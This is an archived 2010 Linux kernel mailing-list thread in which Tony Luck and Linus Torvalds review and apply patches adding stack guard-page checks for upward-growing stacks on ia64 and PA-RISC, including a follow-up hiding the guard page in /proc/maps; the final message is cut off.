In-Reply-To: <4c73f3ed34663af90@agluck-desktop.sc.intel.com>
X-Spam-Status: No, hits=-4.89 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED,PATCH_SUBJECT_OSDL
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3055 gmane.linux.kernel:1026829 gmane.linux.ports.ia64:21348
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3055>

Hmm. Looking at the patch a bit more..

On Tue, Aug 24, 2010 at 9:31 AM, Luck, Tony <tony.luck@intel.com> wrote=
:
>
> +#if defined(CONFIG_STACK_GROWSUP) || defined(CONFIG_IA64)
> + =A0 =A0 =A0 else if (vma->vm_flags & VM_GROWSUP) {
> + =A0 =A0 =A0 =A0 =A0 =A0 =A0 address =3D PAGE_ALIGN(address + 1);
> + =A0 =A0 =A0 =A0 =A0 =A0 =A0 if (address =3D=3D vma->vm_end) {

So I react to two things:

 - that "else" looks wrong. At least conceptually, both could happen -
the code should be entirely able to handle a segment that expands both
ways (which is something that ia64 could do: stack one way, register
spills etc other, all in just one happy vma). I guess we don't set it
up that way now, but the "else" just annoys my sense of aesthetics.
It's an extra four letters that don't add value - just takes it away.

 - The "address =3D PAGE_ALIGN(address + 1);" thing is just ugly.
Wouldn't it be nicer to just move the earlier

  address &=3D PAGE_MASK

back outside the conditionals (and keep the original conditional the
way it was - you only changed it for that bogus "else" case anyway),
and then do

  if (address + PAGE_SIZE =3D=3D vma->vm_end)

rather than have "PAGE_ALIGN(address + 1)" as yet another way of
aligning the address just right.

No?

                              Linus
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Luck, Tony" <tony.luck@intel.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: RE: [PATCH] guard page for stacks that grow upwards
Date: Tue, 24 Aug 2010 11:04:17 -0700
Lines: 40
Approved: news@gmane.org
Message-ID: <987664A83D2D224EAE907B061CE93D53015D8131A1@orsmsx505.amr.corp.intel.com>
References: <4c73f3ed34663af90@agluck-desktop.sc.intel.com>
 <AANLkTi=-JRUFH08TYNhB7TyN=YscnNbqwtZ_BwcwKJPS@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 8BIT
X-Trace: dough.gmane.org 1282673077 19125 80.91.229.12 (24 Aug 2010 18:04:37 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 24 Aug 2010 18:04:37 +0000 (UTC)
Cc: "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-ia64-owner@vger.kernel.org Tue Aug 24 20:04:35 2010
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1OnxrM-0000b3-0B
	for glpi-linux-ia64-2@lo.gmane.org; Tue, 24 Aug 2010 20:04:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755324Ab0HXSEV (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Tue, 24 Aug 2010 14:04:21 -0400
Original-Received: from mga09.intel.com ([134.134.136.24]:55316 "EHLO mga09.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755317Ab0HXSEU convert rfc822-to-8bit (ORCPT
	<rfc822;linux-ia64@vger.kernel.org>); Tue, 24 Aug 2010 14:04:20 -0400
Original-Received: from orsmga001.jf.intel.com ([10.7.209.18])
  by orsmga102.jf.intel.com with ESMTP; 24 Aug 2010 11:04:19 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="4.56,263,1280732400"; 
   d="scan'208";a="650811231"
Original-Received: from orsmsx602.amr.corp.intel.com ([10.22.226.211])
  by orsmga001.jf.intel.com with ESMTP; 24 Aug 2010 11:04:19 -0700
Original-Received: from orsmsx606.amr.corp.intel.com (10.22.226.128) by
 orsmsx602.amr.corp.intel.com (10.22.226.211) with Microsoft SMTP Server (TLS)
 id 8.2.254.0; Tue, 24 Aug 2010 11:04:19 -0700
Original-Received: from orsmsx505.amr.corp.intel.com ([10.22.226.208]) by
 orsmsx606.amr.corp.intel.com ([10.22.226.128]) with mapi; Tue, 24 Aug 2010
 11:04:18 -0700
Thread-Topic: [PATCH] guard page for stacks that grow upwards
Thread-Index: ActDtQnRQr5P0YliR4W8wDcXmfhmTgAAQiEw
In-Reply-To: <AANLkTi=-JRUFH08TYNhB7TyN=YscnNbqwtZ_BwcwKJPS@mail.gmail.com>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
acceptlanguage: en-US
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:21349 gmane.linux.kernel:1026836 gmane.linux.ports.parisc:3056
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3056>

>  - that "else" looks wrong. At least conceptually, both could happen -
> the code should be entirely able to handle a segment that expands both
> ways (which is something that ia64 could do: stack one way, register
> spills etc other, all in just one happy vma). I guess we don't set it
> up that way now, but the "else" just annoys my sense of aesthetics.
> It's an extra four letters that don't add value - just takes it away.

Conceptually yes we could - I don't suppose we ever will as keeping
separate vmas for stack and RSE stack defends against underflow in
a program that has totally messed up.  But I can save 4 bytes of
source code and drop the "else".

> - The "address = PAGE_ALIGN(address + 1);" thing is just ugly.
> Wouldn't it be nicer to just move the earlier
>
>  address &= PAGE_MASK

This mask might be redundant ... I didn't look at the call
sequence, but I've observed that "address" happens to be page
aligned in all my tests.

> back outside the conditionals (and keep the original conditional the
> way it was - you only changed it for that bogus "else" case anyway),
> and then do
>
>  if (address + PAGE_SIZE == vma->vm_end)
>
> rather than have "PAGE_ALIGN(address + 1)" as yet another way of
> aligning the address just right.

Yes, that works too.

Coding revised version now.

-Tony
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Luck, Tony" <tony.luck@intel.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ia64
Subject: [PATCH v2] guard page for stacks that grow upwards
Date: Tue, 24 Aug 2010 11:44:18 -0700
Lines: 94
Approved: news@gmane.org
Message-ID: <4c7413025613b269c@agluck-desktop.sc.intel.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1282675464 29374 80.91.229.12 (24 Aug 2010 18:44:24 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 24 Aug 2010 18:44:24 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-ia64@vger.kernel.org
To: "Linus Torvalds" <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 24 20:44:21 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OnyTs-0002sg-BF
	for glpp-linux-parisc@lo.gmane.org; Tue, 24 Aug 2010 20:44:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751452Ab0HXSoT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 24 Aug 2010 14:44:19 -0400
Original-Received: from mga11.intel.com ([192.55.52.93]:32385 "EHLO mga11.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751207Ab0HXSoT (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 24 Aug 2010 14:44:19 -0400
Original-Received: from fmsmga001.fm.intel.com ([10.253.24.23])
  by fmsmga102.fm.intel.com with ESMTP; 24 Aug 2010 11:44:18 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="4.56,264,1280732400"; 
   d="scan'208";a="831280769"
Original-Received: from agluck-desktop.sc.intel.com ([10.3.52.238])
  by fmsmga001.fm.intel.com with SMTP; 24 Aug 2010 11:44:18 -0700
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3057 gmane.linux.kernel:1026843 gmane.linux.ports.ia64:21350
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3057>

pa-risc and ia64 have stacks that grow upwards. Check that
they do not run into other mappings. By making VM_GROWSUP
0x0 on architectures that do not ever use it, we can avoid
some unpleasant #ifdefs in check_stack_guard_page().

Signed-off-by: Tony Luck <tony.luck@intel.com>

---

Built, booted & tested on ia64
Built for x86_64 (but not booted or tested)
pa-risc - untested

diff --git a/include/linux/mm.h b/include/linux/mm.h
index 709f672..77e6336 100644
--- a/include/linux/mm.h
+++ b/include/linux/mm.h
@@ -78,7 +78,11 @@ extern unsigned int kobjsize(const void *objp);
 #define VM_MAYSHARE	0x00000080
 
 #define VM_GROWSDOWN	0x00000100	/* general info on the segment */
+#if defined(CONFIG_STACK_GROWSUP) || defined(CONFIG_IA64)
 #define VM_GROWSUP	0x00000200
+#else
+#define VM_GROWSUP	0x00000000
+#endif
 #define VM_PFNMAP	0x00000400	/* Page-ranges managed without "struct page", just pure PFN */
 #define VM_DENYWRITE	0x00000800	/* ETXTBSY on write attempts.. */
 
@@ -1330,8 +1334,10 @@ unsigned long ra_submit(struct file_ra_state *ra,
 
 /* Do stack extension */
 extern int expand_stack(struct vm_area_struct *vma, unsigned long address);
-#ifdef CONFIG_IA64
+#if defined(CONFIG_STACK_GROWSUP) || defined(CONFIG_IA64)
 extern int expand_upwards(struct vm_area_struct *vma, unsigned long address);
+#else
+#define	expand_upwards(vma, address)
 #endif
 extern int expand_stack_downwards(struct vm_area_struct *vma,
 				  unsigned long address);
diff --git a/mm/memory.c b/mm/memory.c
index 2ed2267..6b2ab10 100644
--- a/mm/memory.c
+++ b/mm/memory.c
@@ -2760,11 +2760,9 @@ out_release:
 }
 
 /*
- * This is like a special single-page "expand_downwards()",
- * except we must first make sure that 'address-PAGE_SIZE'
+ * This is like a special single-page "expand_{down|up}wards()",
+ * except we must first make sure that 'address{-|+}PAGE_SIZE'
  * doesn't hit another vma.
- *
- * The "find_vma()" will do the right thing even if we wrap
  */
 static inline int check_stack_guard_page(struct vm_area_struct *vma, unsigned long address)
 {
@@ -2783,6 +2781,15 @@ static inline int check_stack_guard_page(struct vm_area_struct *vma, unsigned lo
 
 		expand_stack(vma, address - PAGE_SIZE);
 	}
+	if ((vma->vm_flags & VM_GROWSUP) && address + PAGE_SIZE == vma->vm_end) {
+		struct vm_area_struct *next = vma->vm_next;
+
+		/* As VM_GROWSDOWN but s/below/above/ */
+		if (next && next->vm_start == address + PAGE_SIZE)
+			return next->vm_flags & VM_GROWSUP ? 0 : -ENOMEM;
+
+		expand_upwards(vma, address + PAGE_SIZE);
+	}
 	return 0;
 }
 
diff --git a/mm/mmap.c b/mm/mmap.c
index 331e51a..6128dc8 100644
--- a/mm/mmap.c
+++ b/mm/mmap.c
@@ -1716,9 +1716,6 @@ static int acct_stack_growth(struct vm_area_struct *vma, unsigned long size, uns
  * PA-RISC uses this for its stack; IA64 for its Register Backing Store.
  * vma is the last one with address > vma->vm_end.  Have to extend vma.
  */
-#ifndef CONFIG_IA64
-static
-#endif
 int expand_upwards(struct vm_area_struct *vma, unsigned long address)
 {
 	int error;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ia64
Subject: Re: [PATCH v2] guard page for stacks that grow upwards
Date: Tue, 24 Aug 2010 13:19:51 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <AANLkTinMbTu6H9m70sapfpGHC4secUsaUqZKkg_=CWA6@mail.gmail.com>
References: <4c7413025613b269c@agluck-desktop.sc.intel.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1282681229 23286 80.91.229.12 (24 Aug 2010 20:20:29 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 24 Aug 2010 20:20:29 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-ia64@vger.kernel.org,
	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	Kyle McMartin <kyle@parisc-linux.org>
To: "Luck, Tony" <tony.luck@intel.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 24 22:20:25 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Onzyk-0005Sx-F6
	for glpp-linux-parisc@lo.gmane.org; Tue, 24 Aug 2010 22:20:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755566Ab0HXUUR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 24 Aug 2010 16:20:17 -0400
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:46314 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755390Ab0HXUUQ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 24 Aug 2010 16:20:16 -0400
Original-Received: from mail-iw0-f174.google.com (mail-iw0-f174.google.com [209.85.214.174])
	(authenticated bits=0)
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id o7OKKEEX020621
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=FAIL);
	Tue, 24 Aug 2010 13:20:15 -0700
Original-Received: by iwn5 with SMTP id 5so4823220iwn.19
        for <multiple recipients>; Tue, 24 Aug 2010 13:20:12 -0700 (PDT)
Original-Received: by 10.231.179.24 with SMTP id bo24mr7970644ibb.193.1282681212313;
 Tue, 24 Aug 2010 13:20:12 -0700 (PDT)
Original-Received: by 10.231.39.75 with HTTP; Tue, 24 Aug 2010 13:19:51 -0700 (PDT)
In-Reply-To: <4c7413025613b269c@agluck-desktop.sc.intel.com>
X-Spam-Status: No, hits=-3.398 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3058 gmane.linux.kernel:1026881 gmane.linux.ports.ia64:21351
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3058>

On Tue, Aug 24, 2010 at 11:44 AM, Luck, Tony <tony.luck@intel.com> wrote:
>
> Built, booted & tested on ia64
> Built for x86_64 (but not booted or tested)
> pa-risc - untested

Ok, applied. I do think we could do the "VM_GROWSDOWN = 0" trick for
PA-RISC  (so that the code for the growsdown case would be compiled
away there), but that definitely needs somebody who actually cares
specifically about PA-RISC.

Adding the people who have signed off on parisc-specific patches in
recent memory to the cc. Maybe somebody could be convinced to care.

                         Linus
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH v2] guard page for stacks that grow upwards
Date: Tue, 24 Aug 2010 20:32:48 +0000
Lines: 23
Approved: news@gmane.org
Message-ID: <1282681968.2993.109.camel@mulgrave.site>
References: <4c7413025613b269c@agluck-desktop.sc.intel.com>
	 <AANLkTinMbTu6H9m70sapfpGHC4secUsaUqZKkg_=CWA6@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1282681979 26413 80.91.229.12 (24 Aug 2010 20:32:59 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 24 Aug 2010 20:32:59 +0000 (UTC)
Cc: "Luck, Tony" <tony.luck@intel.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-ia64@vger.kernel.org,
	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	Kyle McMartin <kyle@parisc-linux.org>
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-ia64-owner@vger.kernel.org Tue Aug 24 22:32:57 2010
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1Oo0Ay-0001aa-4i
	for glpi-linux-ia64-2@lo.gmane.org; Tue, 24 Aug 2010 22:32:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755496Ab0HXUcy (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Tue, 24 Aug 2010 16:32:54 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:42268 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755328Ab0HXUcx (ORCPT
	<rfc822;linux-ia64@vger.kernel.org>);
	Tue, 24 Aug 2010 16:32:53 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id A44678EE105;
	Tue, 24 Aug 2010 13:32:53 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id yPd6BDV+MfoS; Tue, 24 Aug 2010 13:32:53 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 6C1938EE0D8;
	Tue, 24 Aug 2010 13:32:52 -0700 (PDT)
In-Reply-To: <AANLkTinMbTu6H9m70sapfpGHC4secUsaUqZKkg_=CWA6@mail.gmail.com>
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:21352 gmane.linux.kernel:1026885 gmane.linux.ports.parisc:3059
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3059>

On Tue, 2010-08-24 at 13:19 -0700, Linus Torvalds wrote:
> On Tue, Aug 24, 2010 at 11:44 AM, Luck, Tony <tony.luck@intel.com> wrote:
> >
> > Built, booted & tested on ia64
> > Built for x86_64 (but not booted or tested)
> > pa-risc - untested
> 
> Ok, applied. I do think we could do the "VM_GROWSDOWN = 0" trick for
> PA-RISC  (so that the code for the growsdown case would be compiled
> away there), but that definitely needs somebody who actually cares
> specifically about PA-RISC.

I can try it ... I was just getting ready to try the -rc2 kernel on our
cupertino test ring anyway.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Luck, Tony" <tony.luck@intel.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ia64
Subject: [PATCH] hide guard page for stacks that grow upwards
Date: Tue, 24 Aug 2010 15:03:02 -0700
Lines: 42
Approved: news@gmane.org
Message-ID: <4c74419664798b8c9@agluck-desktop.sc.intel.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1282687399 15216 80.91.229.12 (24 Aug 2010 22:03:19 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 24 Aug 2010 22:03:19 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-ia64@vger.kernel.org
To: "Linus Torvalds" <torvalds@linux-foundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Aug 25 00:03:17 2010
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1Oo1aM-0002tG-DV
	for glk-linux-kernel-3@lo.gmane.org; Wed, 25 Aug 2010 00:03:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932258Ab0HXWDG (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 24 Aug 2010 18:03:06 -0400
Original-Received: from mga01.intel.com ([192.55.52.88]:9618 "EHLO mga01.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932244Ab0HXWDD (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Tue, 24 Aug 2010 18:03:03 -0400
Original-Received: from fmsmga001.fm.intel.com ([10.253.24.23])
  by fmsmga101.fm.intel.com with ESMTP; 24 Aug 2010 15:03:02 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="4.56,264,1280732400"; 
   d="scan'208";a="831342725"
Original-Received: from agluck-desktop.sc.intel.com ([10.3.52.238])
  by fmsmga001.fm.intel.com with SMTP; 24 Aug 2010 15:03:02 -0700
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1026920 gmane.linux.ports.parisc:3060 gmane.linux.ports.ia64:21353
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3060>

pa-risc and ia64 have stacks that grow upwards. Don't
show the guard page on upward growing vma in /proc/$$/maps

Signed-off-by: Tony Luck <tony.luck@intel.com>

---

This looks useful too ... but I can't see where the code is that
made vm_start be PAGE_SIZE lower to begin with. I'd expect to have
to make a matching change to make vm_end PAGE_SIZE higher for the
VM_GROWSUP areas.

diff --git a/fs/proc/task_mmu.c b/fs/proc/task_mmu.c
index 439fc1f..ef262f6 100644
--- a/fs/proc/task_mmu.c
+++ b/fs/proc/task_mmu.c
@@ -210,7 +210,7 @@ static void show_map_vma(struct seq_file *m, struct vm_area_struct *vma)
 	int flags = vma->vm_flags;
 	unsigned long ino = 0;
 	unsigned long long pgoff = 0;
-	unsigned long start;
+	unsigned long start, end;
 	dev_t dev = 0;
 	int len;
 
@@ -223,12 +223,15 @@ static void show_map_vma(struct seq_file *m, struct vm_area_struct *vma)
 
 	/* We don't show the stack guard page in /proc/maps */
 	start = vma->vm_start;
+	end = vma->vm_end;
 	if (vma->vm_flags & VM_GROWSDOWN)
 		start += PAGE_SIZE;
+	if (vma->vm_flags & VM_GROWSUP)
+		end -= PAGE_SIZE;
 
 	seq_printf(m, "%08lx-%08lx %c%c%c%c %08llx %02x:%02x %lu %n",
 			start,
-			vma->vm_end,
+			end,
 			flags & VM_READ ? 'r' : '-',
 			flags & VM_WRITE ? 'w' : '-',
 			flags & VM_EXEC ? 'x' : '-',

From - Thu Nov 08 21:06:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ia64
Subject: Re: [PATCH] hide guard page for stacks that grow upwards
Date: Tue, 24 Aug 2010 15:23:52 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <AANLkTin5mxbyH9BOcrGAW2nFiDBOeUE8=HsBR8U=x3bc@mail.gmail.com>
References: <4c74419664798b8c9@agluck-desktop.sc.intel.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1282688721 19805 80.91.229.12 (24 Aug 2010 22:25:21 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 24 Aug 2010 22:25:21 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-ia64@vger.kernel.org
To: "Luck, Tony" <tony.luck@intel.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Aug 25 00:25:20 2010
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1Oo1vh-0004Dg-Mf
	for glk-linux-kernel-3@lo.gmane.org; Wed, 25 Aug 2010 00:25:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756182Ab0HXWY4 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 24 Aug 2010 18:24:56 -0400
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:41663 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755720Ab0HXWYx (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 24 Aug 2010 18:24:53 -0400
Original-Received: from mail-gy0-f174.google.com (mail-gy0-f174.google.com [209.85.160.174])
	(authenticated bits=0)
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id o7OMOJi1032582
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=FAIL);
	Tue, 24 Aug 2010 15:24:23 -0700
Original-Received: by gyd8 with SMTP id 8so2730936gyd.19
        for <multiple recipients>; Tue, 24 Aug 2010 15:24:12 -0700 (PDT)
Original-Received: by 10.101.143.38 with SMTP id v38mr8171114ann.56.1282688652242; Tue,
 24 Aug 2010 15:24:12 -0700 (PDT)
Original-Received: by 10.231.39.75 with HTTP; Tue, 24 Aug 2010 15:23:52 -0700 (PDT)
In-Reply-To: <4c74419664798b8c9@agluck-desktop.sc.intel.com>
X-Spam-Status: No, hits=-4.899 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED,PATCH_SUBJECT_OSDL
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1026928 gmane.linux.ports.parisc:3061 gmane.linux.ports.ia64:21354
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3061>

On Tue, Aug 24, 2010 at 3:03 PM, Luck, Tony <tony.luck@intel.com> wrote:
>
